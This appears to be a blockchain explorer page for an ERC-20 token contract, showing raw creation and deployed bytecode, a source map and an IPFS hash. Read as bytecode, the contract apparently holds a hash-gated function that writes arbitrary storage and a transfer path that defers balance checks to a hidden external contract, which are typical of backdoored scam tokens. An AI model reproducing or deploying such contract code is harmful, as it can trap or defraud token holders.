f6020828403121561098f575f80fd5b61088d82610894565b5f80604083850312156109a9575f80fd5b6109b283610894565b91506109c060208401610894565b90509250929050565b600181811c908216806109dd57607f821691505b6020821081036109fb57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03831681526040602082018190525f90610a3890830184610838565b949350505050565b808201808211156102ad57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b9464736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cb575f3560e01c806370a082311161008857806395d89b411161006357806395d89b41146101a4578063a9059cbb146101ac578063dd62ed3e146101bf578063f2fde38b146101f7575f80fd5b806370a0823114610159578063715018a6146101815780638da5cb5b14610189575f80fd5b806306fdde03146100cf578063095ea7b3146100ed57806309c450d01461011057806318160ddd1461012557806323b872dd14610137578063313ce5671461014a575b5f80fd5b6100d761020a565b6040516100e4919061087b565b60405180910390f35b6101006100fb3660046108af565b61029a565b60405190151581526020016100e4565b61012361011e3660046108d7565b6102b3565b005b6003545b6040519081526020016100e4565b610100610145366004610946565b610322565b604051600981526020016100e4565b61012961016736600461097f565b6001600160a01b03165f9081526020819052604090205490565b610123610345565b6007546040516001600160a01b0390911681526020016100e4565b6100d7610358565b6101006101ba3660046108af565b610367565b6101296101cd366004610998565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61012361020536600461097f565b610374565b606060058054610219906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610245906109c9565b80156102905780601f1061026757610100808354040283529160200191610290565b820191905f5260205f20905b81548152906001019060200180831161027357829003601f168201915b5050505050905090565b5f336102a78185856103b6565b60019150505b92915050565b5f805f6102f185855f8181106102cb576102cb610a01565b90506020020135868660018181106102e5576102e5610a01565b905060200201356103c8565b92509250925082610303575050505050565b6020811561031a575f838152808252604090208290555b505050505050565b5f3361032f8582856104c1565b61033a85858561053c565b506001949350505050565b61034d610599565b6103565f6105c6565b565b606060068054610219906109c9565b5f336102a781858561053c565b61037c610599565b6001600160a01b0381166103aa57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6103b3816105c6565b50565b6103c38383836001610617565b505050565b5f805f803390505f600680546103dd906109c9565b80601f0160208091040260200160405190810160405280929190818152602001828054610409906109c9565b80156104545780601f1061042b57610100808354040283529160200191610454565b820191905f5260205f20905b81548152906001019060200180831161043757829003601f168201915b50505f808052600260209081527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b54604051969750919591945061049e9350879250869101610a15565b60408051808303601f190181529190528051602090910120149895505050505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610536578181101561052857604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a1565b61053684848484035f610617565b50505050565b6001600160a01b03831661056557604051634b637e8f60e11b81525f60048201526024016103a1565b6001600160a01b03821661058e5760405163ec442f0560e01b81525f60048201526024016103a1565b6103c38383836106e9565b6007546001600160a01b031633146103565760405163118cdaa760e01b81523360048201526024016103a1565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0384166106405760405163e602df0560e01b81525f60048201526024016103a1565b6001600160a01b03831661066957604051634a1406b160e11b81525f60048201526024016103a1565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561053657826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106db91815260200190565b60405180910390a350505050565b6001600160a01b038316610713578060035f8282546107089190610a40565b909155506107ac9050565b5f63829e060560e01b90505f806040518381528660048201525f60248201526020608082016044835f6004545af19250821561075157608081015191505b508381101561078c5760405163391434e360e21b81526001600160a01b038716600482015260248101829052604481018590526064016103a1565b6001600160a01b0386165f90815260208190526040902090849003905550505b6001600160a01b0382166107c8576003805482900390556107e6565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161082b91815260200190565b60405180910390a3505050565b5f81518084525f5b8181101561085c57602081850181015186830182015201610840565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61088d6020830184610838565b9392505050565b80356001600160a01b03811681146108aa575f80fd5b919050565b5f80604083850312156108c0575f80fd5b6108c983610894565b946020939093013593505050565b5f80602083850312156108e8575f80fd5b823567ffffffffffffffff808211156108ff575f80fd5b818501915085601f830112610912575f80fd5b813581811115610920575f80fd5b8660208260051b8501011115610934575f80fd5b60209290920196919550909350505050565b5f805f60608486031215610958575f80fd5b61096184610894565b925061096f60208501610894565b9150604084013590509250925092565b5f6020828403121561098f575f80fd5b61088d82610894565b5f80604083850312156109a9575f80fd5b6109b283610894565b91506109c060208401610894565b90509250929050565b600181811c908216806109dd57607f821691505b6020821081036109fb57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b03831681526040602082018190525f90610a3890830184610838565b949350505050565b808201808211156102ad57634e487b7160e01b5f52601160045260245ffdfea2646970667358221220904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b9464736f6c63430008140033

Deployed Bytecode Sourcemap

26385:341:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15437:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17770:222;;;;;;:::i;:::-;;:::i;:::-;;;1269:14:1;;1262:22;1244:41;;1232:2;1217:18;17770:222:0;1104:187:1;25606:468:0;;;;;;:::i;:::-;;:::i;:::-;;16538:99;16617:12;;16538:99;;;2062:25:1;;;2050:2;2035:18;16538:99:0;1916:177:1;18570:283:0;;;;;;:::i;:::-;;:::i;16390:83::-;;;16464:1;2573:36:1;;2561:2;2546:18;16390:83:0;2431:184:1;16700:118:0;;;;;;:::i;:::-;-1:-1:-1;;;;;16792:18:0;16765:7;16792:18;;;;;;;;;;;;16700:118;9450:103;;;:::i;8775:87::-;8848:6;;8775:87;;-1:-1:-1;;;;;8848:6:0;;;2957:51:1;;2945:2;2930:18;8775:87:0;2811:203:1;15647:95:0;;;:::i;17023:182::-;;;;;;:::i;:::-;;:::i;17268:183::-;;;;;;:::i;:::-;-1:-1:-1;;;;;17416:18:0;;;17384:7;17416:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;17268:183;9708:220;;;;;;:::i;:::-;;:::i;15437:91::-;15482:13;15515:5;15508:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15437:91;:::o;17770:222::-;17870:4;7105:10;17931:31;7105:10;17947:7;17956:5;17931:8;:31::i;:::-;17980:4;17973:11;;;17770:222;;;;;:::o;25606:468::-;25668:9;25679:12;25693;25709:26;25721:3;;25725:1;25721:6;;;;;;;:::i;:::-;;;;;;;25728:3;;25732:1;25728:6;;;;;;;:::i;:::-;;;;;;;25709:11;:26::i;:::-;25667:68;;;;;;25751:4;25746:18;;25757:7;;;25606:468;;:::o;25746:18::-;25810:27;25854:11;;25851:205;;25920:1;25941:15;;;25974:19;;;26031:2;26018:16;;26011:30;;;25851:205;;25783:284;;;25606:468;;:::o;18570:283::-;18691:4;7105:10;18749:37;18765:4;7105:10;18780:5;18749:15;:37::i;:::-;18797:26;18807:4;18813:2;18817:5;18797:9;:26::i;:::-;-1:-1:-1;18841:4:0;;18570:283;-1:-1:-1;;;;18570:283:0:o;9450:103::-;8661:13;:11;:13::i;:::-;9515:30:::1;9542:1;9515:18;:30::i;:::-;9450:103::o:0;15647:95::-;15694:13;15727:7;15720:14;;;;;:::i;17023:182::-;17092:4;7105:10;17148:27;7105:10;17165:2;17169:5;17148:9;:27::i;9708:220::-;8661:13;:11;:13::i;:::-;-1:-1:-1;;;;;9793:22:0;::::1;9789:93;;9839:31;::::0;-1:-1:-1;;;9839:31:0;;9867:1:::1;9839:31;::::0;::::1;2957:51:1::0;2930:18;;9839:31:0::1;;;;;;;;9789:93;9892:28;9911:8;9892:18;:28::i;:::-;9708:220:::0;:::o;23202:164::-;23321:37;23330:5;23337:7;23346:5;23353:4;23321:8;:37::i;:::-;23202:164;;;:::o;26082:296::-;26152:4;26157:7;26165;26184:12;26199:10;26184:25;;26220:18;26241:7;26220:28;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;26259:9:0;26316:18;;;:6;:18;;;;;;;26289:22;26220:28;;-1:-1:-1;26259:9:0;;26316:18;;-1:-1:-1;26289:22:0;;-1:-1:-1;26300:4:0;;-1:-1:-1;26220:28:0;;26289:22;;:::i;:::-;;;;;;;-1:-1:-1;;26289:22:0;;;;;;26279:33;;26289:22;26279:33;;;;26271:63;;26082:296;-1:-1:-1;;;;;;26082:296:0:o;24995:603::-;-1:-1:-1;;;;;17416:18:0;;;25129:24;17416:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;25196:37:0;;25192:399;;25273:5;25254:16;:24;25250:214;;;25306:142;;-1:-1:-1;;;25306:142:0;;-1:-1:-1;;;;;4343:32:1;;25306:142:0;;;4325:51:1;4392:18;;;4385:34;;;4435:18;;;4428:34;;;4298:18;;25306:142:0;4123:345:1;25250:214:0;25507:57;25516:5;25523:7;25551:5;25532:16;:24;25558:5;25507:8;:57::i;:::-;25118:480;24995:603;;;:::o;19238:342::-;-1:-1:-1;;;;;19356:18:0;;19352:88;;19398:30;;-1:-1:-1;;;19398:30:0;;19425:1;19398:30;;;2957:51:1;2930:18;;19398:30:0;2811:203:1;19352:88:0;-1:-1:-1;;;;;19454:16:0;;19450:88;;19494:32;;-1:-1:-1;;;19494:32:0;;19523:1;19494:32;;;2957:51:1;2930:18;;19494:32:0;2811:203:1;19450:88:0;19548:24;19556:4;19562:2;19566:5;19548:7;:24::i;8940:166::-;8848:6;;-1:-1:-1;;;;;8848:6:0;7105:10;9000:23;8996:103;;9047:40;;-1:-1:-1;;;9047:40:0;;7105:10;9047:40;;;2957:51:1;2930:18;;9047:40:0;2811:203:1;10088:191:0;10181:6;;;-1:-1:-1;;;;;10198:17:0;;;-1:-1:-1;;;;;;10198:17:0;;;;;;;10231:40;;10181:6;;;10198:17;10181:6;;10231:40;;10162:16;;10231:40;10151:128;10088:191;:::o;24217:486::-;-1:-1:-1;;;;;24373:19:0;;24369:91;;24416:32;;-1:-1:-1;;;24416:32:0;;24445:1;24416:32;;;2957:51:1;2930:18;;24416:32:0;2811:203:1;24369:91:0;-1:-1:-1;;;;;24474:21:0;;24470:92;;24519:31;;-1:-1:-1;;;24519:31:0;;24547:1;24519:31;;;2957:51:1;2930:18;;24519:31:0;2811:203:1;24470:92:0;-1:-1:-1;;;;;24572:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;24618:78;;;;24669:7;-1:-1:-1;;;;;24653:31:0;24662:5;-1:-1:-1;;;;;24653:31:0;;24678:5;24653:31;;;;2062:25:1;;2050:2;2035:18;;1916:177;24653:31:0;;;;;;;;24217:486;;;;:::o;19904:1636::-;-1:-1:-1;;;;;20028:18:0;;20024:1019;;20182:5;20166:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;20024:1019:0;;-1:-1:-1;20024:1019:0;;20220:10;20240;20233:18;;20220:31;;20266:6;20287:19;20371:4;20365:11;20411:3;20401:8;20394:21;20461:4;20454;20444:8;20440:19;20433:33;20512:1;20505:4;20495:8;20491:19;20484:30;20599:4;20593;20583:8;20579:19;20574:4;20565:8;20563:1;20554:7;20548:14;20542:5;20537:67;20532:72;;20625:1;20622:88;;;20685:4;20675:8;20671:19;20665:26;20650:41;;20622:88;;20757:5;20743:11;:19;20739:117;;;20790:50;;-1:-1:-1;;;20790:50:0;;-1:-1:-1;;;;;4343:32:1;;20790:50:0;;;4325:51:1;4392:18;;;4385:34;;;4435:18;;;4428:34;;;4298:18;;20790:50:0;4123:345:1;20739:117:0;-1:-1:-1;;;;;20979:15:0;;:9;:15;;;;;;;;;;20997:19;;;;20979:37;;-1:-1:-1;;20024:1019:0;-1:-1:-1;;;;;21059:16:0;;21055:435;;21225:12;:21;;;;;;;21055:435;;;-1:-1:-1;;;;;21441:13:0;;:9;:13;;;;;;;;;;:22;;;;;;21055:435;21522:2;-1:-1:-1;;;;;21507:25:0;21516:4;-1:-1:-1;;;;;21507:25:0;;21526:5;21507:25;;;;2062::1;;2050:2;2035:18;;1916:177;21507:25:0;;;;;;;;19904:1636;;;:::o;14:423:1:-;56:3;94:5;88:12;121:6;116:3;109:19;146:1;156:162;170:6;167:1;164:13;156:162;;;232:4;288:13;;;284:22;;278:29;260:11;;;256:20;;249:59;185:12;156:162;;;160:3;363:1;356:4;347:6;342:3;338:16;334:27;327:38;426:4;419:2;415:7;410:2;402:6;398:15;394:29;389:3;385:39;381:50;374:57;;;14:423;;;;:::o;442:220::-;591:2;580:9;573:21;554:4;611:45;652:2;641:9;637:18;629:6;611:45;:::i;:::-;603:53;442:220;-1:-1:-1;;;442:220:1:o;667:173::-;735:20;;-1:-1:-1;;;;;784:31:1;;774:42;;764:70;;830:1;827;820:12;764:70;667:173;;;:::o;845:254::-;913:6;921;974:2;962:9;953:7;949:23;945:32;942:52;;;990:1;987;980:12;942:52;1013:29;1032:9;1013:29;:::i;:::-;1003:39;1089:2;1074:18;;;;1061:32;;-1:-1:-1;;;845:254:1:o;1296:615::-;1382:6;1390;1443:2;1431:9;1422:7;1418:23;1414:32;1411:52;;;1459:1;1456;1449:12;1411:52;1499:9;1486:23;1528:18;1569:2;1561:6;1558:14;1555:34;;;1585:1;1582;1575:12;1555:34;1623:6;1612:9;1608:22;1598:32;;1668:7;1661:4;1657:2;1653:13;1649:27;1639:55;;1690:1;1687;1680:12;1639:55;1730:2;1717:16;1756:2;1748:6;1745:14;1742:34;;;1772:1;1769;1762:12;1742:34;1825:7;1820:2;1810:6;1807:1;1803:14;1799:2;1795:23;1791:32;1788:45;1785:65;;;1846:1;1843;1836:12;1785:65;1877:2;1869:11;;;;;1899:6;;-1:-1:-1;1296:615:1;;-1:-1:-1;;;;1296:615:1:o;2098:328::-;2175:6;2183;2191;2244:2;2232:9;2223:7;2219:23;2215:32;2212:52;;;2260:1;2257;2250:12;2212:52;2283:29;2302:9;2283:29;:::i;:::-;2273:39;;2331:38;2365:2;2354:9;2350:18;2331:38;:::i;:::-;2321:48;;2416:2;2405:9;2401:18;2388:32;2378:42;;2098:328;;;;;:::o;2620:186::-;2679:6;2732:2;2720:9;2711:7;2707:23;2703:32;2700:52;;;2748:1;2745;2738:12;2700:52;2771:29;2790:9;2771:29;:::i;3019:260::-;3087:6;3095;3148:2;3136:9;3127:7;3123:23;3119:32;3116:52;;;3164:1;3161;3154:12;3116:52;3187:29;3206:9;3187:29;:::i;:::-;3177:39;;3235:38;3269:2;3258:9;3254:18;3235:38;:::i;:::-;3225:48;;3019:260;;;;;:::o;3284:380::-;3363:1;3359:12;;;;3406;;;3427:61;;3481:4;3473:6;3469:17;3459:27;;3427:61;3534:2;3526:6;3523:14;3503:18;3500:38;3497:161;;3580:10;3575:3;3571:20;3568:1;3561:31;3615:4;3612:1;3605:15;3643:4;3640:1;3633:15;3497:161;;3284:380;;;:::o;3669:127::-;3730:10;3725:3;3721:20;3718:1;3711:31;3761:4;3758:1;3751:15;3785:4;3782:1;3775:15;3801:317;-1:-1:-1;;;;;3978:32:1;;3960:51;;4047:2;4042;4027:18;;4020:30;;;-1:-1:-1;;4067:45:1;;4093:18;;4085:6;4067:45;:::i;:::-;4059:53;3801:317;-1:-1:-1;;;;3801:317:1:o;4473:222::-;4538:9;;;4559:10;;;4556:133;;;4611:10;4606:3;4602:20;4599:1;4592:31;4646:4;4643:1;4636:15;4674:4;4671:1;4664:15

Swarm Source

ipfs://904f3636feb755303bd9e92f981a2762cb93a2ed4bdd19f9a87d6ab61cc98b94
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.